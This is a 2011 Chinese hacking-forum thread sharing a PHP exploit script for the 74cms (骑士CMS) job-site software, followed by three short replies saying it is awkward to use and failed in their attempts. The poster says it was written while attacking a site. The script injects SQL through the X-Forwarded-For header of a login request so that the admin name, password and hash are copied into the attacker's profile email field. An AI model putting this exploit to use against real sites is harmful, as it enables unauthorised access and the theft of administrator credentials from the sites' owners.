# 74cms漏洞EXP

**URL:** <https://forum.90sec.com/t/topic/2659>\
**Category:** 技术文章\
**Created:** [2011 年10 月 5 日 01:19 UTC](https://forum.90sec.com/t/topic/2659 "2011-10-05T01:19:53Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

作者： ![\_ID](https://forum.90sec.com/user_avatar/forum.90sec.com/_id/32/11324_2.png) [@\_ID](https://forum.90sec.com/u/_ID)\
发布日期： [2011 年10 月 5 日 01:19 UTC](https://forum.90sec.com/t/topic/2659/1 "2011-10-05T01:19:53Z")

</div>

一个老洞了，日站遇到了，于是搞了这个EXP:

```php
<?php
/*
骑士CMS漏洞利用Exp
Author:mer4en7y[90sec Team]
Home:www.90sec.org
声明：漏洞发现者：毅心毅意(发布在t00ls)
在日站的时候，碰到了这个系统，于是搞了这么个EXP，
水平有限，写的粗糙了点，忘大牛无见笑
大部分代码参考了子仪牛
*/
/*利用方法：$host:主机,$user修改为注册的用户名
$pwd修改为注册用户密码
登陆-->查看个人资料-->
在email处即可看到admin账号\密码\Hash
*/
error_reporting(0);
ini_set(max_execution_time, 0);
$host = 'localhost';
$user = 'test10';
$pwd= 'test10';
send();
function send()
{
global $host,$user,$pwd;

$cmd= "username={$user}&password={$pwd}&expire=&url=&time=1317772574348&act=do_login";
$getin="zyday1.1.', email=(SELECT concat(admin_name,0x2f,pwd,0x2f,pwd_hash ) FROM qs_admin) where username = '$user'#";
$data="POST /plus/ajax.php HTTP/1.1\r\n";
$data.="Accept: */*\r\n";
$data.="Accept-Language: zh-cn\r\n";
$data.="Content-Type: application/x-www-form-urlencoded\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\r\n";
$data.="Host: $host\r\n";
$data.="Content-Length: ".strlen($cmd)."\r\n";
$data.="X-Requested-With: XMLHttpRequest\r\n";
$data.="Cookie: PHPSESSID=5i1lj08lk5a6fj0sg7q5h384q4\r\n";
$data.="Connection: keep-alive\r\n";
$data.="X-Forwarded-For: $getin\r\n\r\n";
$data.=$cmd; 
$fp= fsockopen($host, 80);
fputs($fp, $data); 
$resp= ''; 
while($fp&& !feof($fp))
$resp.= fread($fp, 1024); 
echo$resp;
}
?>
```

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年10 月 5 日 01:41 UTC](https://forum.90sec.com/t/topic/2659/2 "2011-10-05T01:41:47Z")

</div>

用起来很麻烦，，正则没匹配！

---

<div class="post-metadata">

作者： ![wubinwg1](https://forum.90sec.com/letter_avatar_proxy/v4/letter/w/9e8a1a/32.png) [@wubinwg1](https://forum.90sec.com/u/wubinwg1)\
发布日期： [2011 年10 月 5 日 10:17 UTC](https://forum.90sec.com/t/topic/2659/3 "2011-10-05T10:17:50Z")

</div>

麻烦的要死 搞简化啊

---

<div class="post-metadata">

作者： ![icerain](https://forum.90sec.com/letter_avatar_proxy/v4/letter/i/e47774/32.png) [@icerain](https://forum.90sec.com/u/icerain)\
发布日期： [2011 年10 月 6 日 00:50 UTC](https://forum.90sec.com/t/topic/2659/4 "2011-10-06T00:50:56Z")

</div>

貌似试了几个都没成功
